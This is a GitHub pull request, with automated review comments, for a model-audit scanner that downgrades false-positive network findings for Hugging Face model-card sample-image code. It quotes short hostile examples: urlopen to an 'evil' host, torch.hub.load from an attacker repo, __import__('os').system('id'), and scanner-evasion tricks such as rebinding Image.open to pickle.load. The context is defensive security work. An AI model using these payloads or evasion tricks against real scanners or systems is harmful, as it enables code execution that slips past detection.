fix: safely suppress verified Hugging Face model-card image examples - #1791
fix: safely suppress verified Hugging Face model-card image examples#1791mldangelo-oai wants to merge 12 commits into
Conversation
…-readme-doc-false-positives-20260728
|
@codex review |
|
Codex Review: Didn't find any major issues. Breezy! Reviewed commit: ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
If Codex has suggestions, it will comment; otherwise it will react with 👍. Codex can also answer questions or update the PR. Try commenting "@codex address that feedback". |
There was a problem hiding this comment.
Pull request overview
This PR updates the TextScanner to downgrade network communication findings to informational only for a small set of revision-pinned Hugging Face model-card README payloads that exactly match expected size + SHA-256 digests (including LF/CRLF variants), reducing false positives while keeping existing “fail closed” behavior for incomplete analysis and policy overrides.
Changes:
- Add a digest-verified allowlist for three specific Hugging Face
timmmodel-card READMEs and downgrade only the correspondingurllib/urlopenfindings toINFOwhen whitelisting is enabled and analysis is complete. - Thread an explicit policy flag through network-finding classification so suppression can be disabled when scans are incomplete/limited or whitelisting is turned off.
- Add extensive regression coverage (whitelist modes, CLI flags, tampering/near-match, truncation, detector failure, finding limits, LF/CRLF) and add the pinned model-card fixtures.
Reviewed changes
Copilot reviewed 6 out of 6 changed files in this pull request and generated 1 comment.
Show a summary per file
| File | Description |
|---|---|
modelaudit/scanners/text_scanner.py |
Introduces digest-verified Hugging Face README recognition and conditional network-finding downgrade logic. |
tests/scanners/test_text_scanner.py |
Adds regression tests to ensure the downgrade is narrowly-scoped and fails closed under truncation/limits/failures and policy overrides. |
tests/assets/huggingface_model_cards/timm_mobilenetv3_small_100.lamb_in1k_README.txt |
Adds pinned model-card fixture used to validate the digest allowlist behavior. |
tests/assets/huggingface_model_cards/timm_convnext_femto.d1_in1k_README.txt |
Adds pinned model-card fixture used to validate the digest allowlist behavior. |
tests/assets/huggingface_model_cards/timm_repvgg_a0.rvgg_in1k_README.txt |
Adds pinned model-card fixture used to validate the digest allowlist behavior. |
CHANGELOG.md |
Documents the new false-positive suppression behavior for the verified model cards. |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| finding: dict[str, Any], | ||
| *, | ||
| allow_verified_huggingface_documentation: bool = True, | ||
| ) -> bool: |
Performance BenchmarksCompared
|
|
Security review completed. No security issues were found in this pull request. Reviewed commit: ℹ️ About Codex security reviews in GitHubThis is an experimental Codex feature. Security reviews are triggered when:
Once complete, Codex will leave suggestions, or a comment if no findings are found. |
…-readme-doc-false-positives-20260728
…f by digest
The digest allowlist suppressed the false positive for exactly three model
cards. The snippet it pins is emitted verbatim by timm's card generator, so the
identical false positive remained on every other card using it, and any
regenerated or edited card reintroduced it.
Recognition is now structural: within a Python fence, every urlopen use must be
a single literal huggingface.co documented-image URL flowing straight into
Image.open(...). Proven fences are position-scoped, and any urlopen/urllib token
outside a proven fence disables the downgrade for the whole file - without that,
appending a second fence containing urlopen('https://evil...') was suppressed,
because the reported finding position fell inside the benign fence.
The three real model cards are kept as positive fixtures: they now prove the
check works on real artifacts rather than acting as digest sources.
Two tests were asserting the digest premise rather than a security property.
'Any byte changed' fired on cosmetic variable renames, and the appended-attack
tests asserted the benign urlopen finding stayed CRITICAL - the digest check was
a change-tripwire, not a detector. Those payloads (torch.hub.load, __import__,
shell in fences) produce no TextScanner finding on their own, before or after
this change. They are now covered by a no-sheltering invariant instead.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
5736fec to
4652710
Compare
![chatgpt-codex-connector[bot]](https://avatars.githubusercontent.com/in/1144995?s=60&v=4){kind=small}
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 465271095f
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| while opening := _PYTHON_README_FENCE_PATTERN.search(data, cursor): | ||
| if len(spans) >= _MAX_README_IMAGE_EXAMPLE_FENCES: | ||
| return () |
There was a problem hiding this comment.
When a Markdown file contains many invalid Python fences mentioning urlopen, len(spans) remains zero, so this loop can parse and walk every fence despite _MAX_README_IMAGE_EXAMPLE_FENCES. Since TextScanner accepts documentation payloads up to 100 MiB, an attacker-controlled model card can contain hundreds of thousands of small near-match fences and impose excessive CPU work during a scan. Track the number of encountered fence openings, as _index_official_readme_sample_image_fences already does, and fail closed after the configured limit.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 7 out of 7 changed files in this pull request and generated no new comments.
Suppressed comments (2)
modelaudit/detectors/network_comm.py:2366
_is_official_huggingface_documented_image_url()currently accepts anyhttps://huggingface.co/.../resolve/...URL with an image suffix. That means the README/model-card downgrade can apply to attacker-controlled Hugging Face repos/datasets (still on huggingface.co), which weakens the intended “official sample-image URL only” constraint and could hide actionable network behavior.
Consider restricting this to the exact documented sample image path used by the generator (e.g. /datasets/huggingface/documentation-images/resolve/main/beignets-task-guide.png, optionally with download=true) so only the known inert example is downgraded.
def _is_official_huggingface_documented_image_url(url: str) -> bool:
"""Return whether a URL is a bounded HTTPS fetch of a documented huggingface.co image."""
try:
parsed = urlsplit(url)
port = parsed.port
modelaudit/detectors/network_comm.py:2370
official_readme_urlopen_image_example_spans()is@lru_cache’d with the fulldata: bytespayload as the cache key. SinceTextScannercan inspect up toDEFAULT_TEXT_CONTENT_SECURITY_SCAN_BYTES(100MB), the cache can pin a large README payload in memory after scanning completes (until the next call evicts it).
Since this helper is typically consulted only a small number of times per file (e.g., for the urlopen + from urllib findings), consider dropping the global lru_cache (or moving caching to a per-scan/per-file scope) to avoid retaining large untrusted payloads in process memory.
@lru_cache(maxsize=1)
def official_readme_urlopen_image_example_spans(data: bytes) -> tuple[tuple[int, int], ...]:
An adversarial review of my own rework found two ways to abuse the downgrade. 1. The whole-file guard only looked for the literal bytes 'urlopen' and 'from urllib'. The detector emits ONE network_library:urllib finding per file and retargets it to the earliest urllib token, so a second fence written as 'import urllib.request' + 'urllib.request.build_opener()' - which contains neither guarded token - inherited the benign example's position and was downgraded with it. 'URLopener' evades a byte-substring check too, being case-sensitively distinct from 'urlopen'. Guard on bare 'urllib'/'urlopen'. 2. The fence body was otherwise unconstrained and the response sink was matched by NAME only, so a fence could define its own 'class Image' whose 'open' exec'd the downloaded bytes and still qualify. Image must now provably come from 'from PIL import Image', may not be rebound or aliased, and bare-name execution primitives plus dunder/system attribute access are rejected. Attribute access is checked far more narrowly than bare names: documented cards legitimately call model.eval(), which is unrelated to the eval builtin. Guarding both the same way regressed all three real model cards. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 007d609ce1
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if isinstance(node, ast.Name) and node.id == "Image" and not isinstance(node.ctx, ast.Load): | ||
| return False |
There was a problem hiding this comment.
When a model-card fence imports PIL.Image but then assigns Image.open = pickle.load, this check misses the rebinding because the assignment target is an ast.Attribute, not an ast.Name with store context. The validator therefore accepts a subsequent Image.open(urlopen("https://huggingface.co/attacker/repo/resolve/main/payload.png")); the remote response is deserialized rather than decoded as an image, yet both urllib findings are downgraded to INFO and TextScanner reports success. Reject writes/deletes to Image.open (and other ways of replacing the imported Image binding) before treating the fence as inert.
AGENTS.md reference: AGENTS.md:L25-L25
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 7 out of 7 changed files in this pull request and generated no new comments.
Suppressed comments (1)
modelaudit/detectors/network_comm.py:2373
official_readme_urlopen_image_example_spansis decorated with@lru_cache(maxsize=1)while taking the full file payload (data: bytes) as the cache key. In long-running processes this can pin the last-scanned Markdown payload in memory indefinitely (until another call replaces it), even after the scan completes. Since this cache is only needed to avoid recomputing spans within a single file, consider moving span caching to the caller (compute once per file and pass spans down) instead of globally caching on the payload bytes.
@lru_cache(maxsize=1)
def official_readme_urlopen_image_example_spans(data: bytes) -> tuple[tuple[int, int], ...]:
"""Return byte spans of Python fences whose only ``urlopen`` use fetches a documented image.
Model-card generators (notably ``timm``) emit a fixed ``Image.open(urlopen(<literal URL>))``
Summary
Model cards whose only
urlopenuse is the documentedImage.open(urlopen(<literal huggingface.co image URL>))sample-image example no longer raise actionableurllib/urlopennetwork findings.What changed from the original approach
The first version of this PR pinned six
(size, sha256)pairs — threetimmmodel cards × LF/CRLF — and downgraded findings only for exact whole-file matches.That snippet is not specific to those three cards. It is emitted verbatim by
timm's model-card generator, so it is byte-identical across the thousands oftimmcards on the Hub. Pinning digests fixed the false positive for three files and left it in place everywhere else, and any regenerated or edited card — even a one-line addition — reintroduced it. It was a fixture list, not a scanner rule, with unbounded maintenance cost.Recognition is now structural, mirroring the
requests.getexample validator already innetwork_comm.py:from urllib.request import urlopen, no alias;urlopennever rebound, shadowed, aliased, or reached via attribute;urlopencall takes exactly one literalstrargument that passes the sharedhuggingface.codocumented-image URL check (HTTPS, no userinfo/port/fragment, no..segments, image suffix);Image.open(...)as its only argument.The
huggingface.coURL validation used by therequestspath is extracted into_is_official_huggingface_documented_image_urland shared, rather than duplicated.Proven fences are position-scoped
A proven fence speaks only for itself. Suppression keys off the finding's byte position, so an early version was bypassable: appending
to a valid card suppressed the finding, because the reported position fell inside the benign fence. Any
urlopen/from urllibtoken outside a proven fence now disables the downgrade for the whole file — the same way therequestspath tracks unvalidated references.Verification
urlopen('https://evil…')urlopenin prose / unfenced..traversal, non-image suffixurlopen, non-literal URL, response not intoImage.open.md/.markdownor non-documentation filename--no-whitelist/--strict, truncated, detector failure, finding limitThe three real cards are kept as positive fixtures — they now prove the check works on real artifacts instead of being the digest source.
tests/scanners/test_text_scanner.py+tests/detectors/test_network_comm_detector.py: 1767 passed. Ruff and mypy clean.Two tests were asserting the digest premise, not a security property
Worth flagging explicitly, because it changes what the suite proves:
"Any byte changed ⇒ fail closed" fired on cosmetic rewrites.
img = Image.open(...)→out = Image.open(...)is a variable rename, not an attack; it is now asserted to stay informational.The appended-attack tests asserted the benign
urlopenfinding stayedCRITICAL. The digest check was a change-tripwire, not a detector. I verified onmain, independent of this PR: aREADME.mdcontaining onlytorch.hub.load('attacker/repo'),@__import__('os').system('id'), orpython -c "__import__('os').system('id')"in a fence scans clean — zero actionable findings. Those tests never proved the attack was detected.They are replaced by a no-sheltering invariant:
actionable(attack_only) ⊆ actionable(attack + trusted_example). Concatenation can only ever add findings, so the documented snippet cannot launder adjacent content. Therequests-based attack case does produce findings and is asserted to fail closed.Follow-up (pre-existing, not addressed here)
TextScanner does not flag
torch.hub.load(...),__import__('os').system(...), or shell execution inside model-card code fences. That gap predates this PR and is unchanged by it, but it was previously masked in this suite by the digest tripwire and is worth its own issue.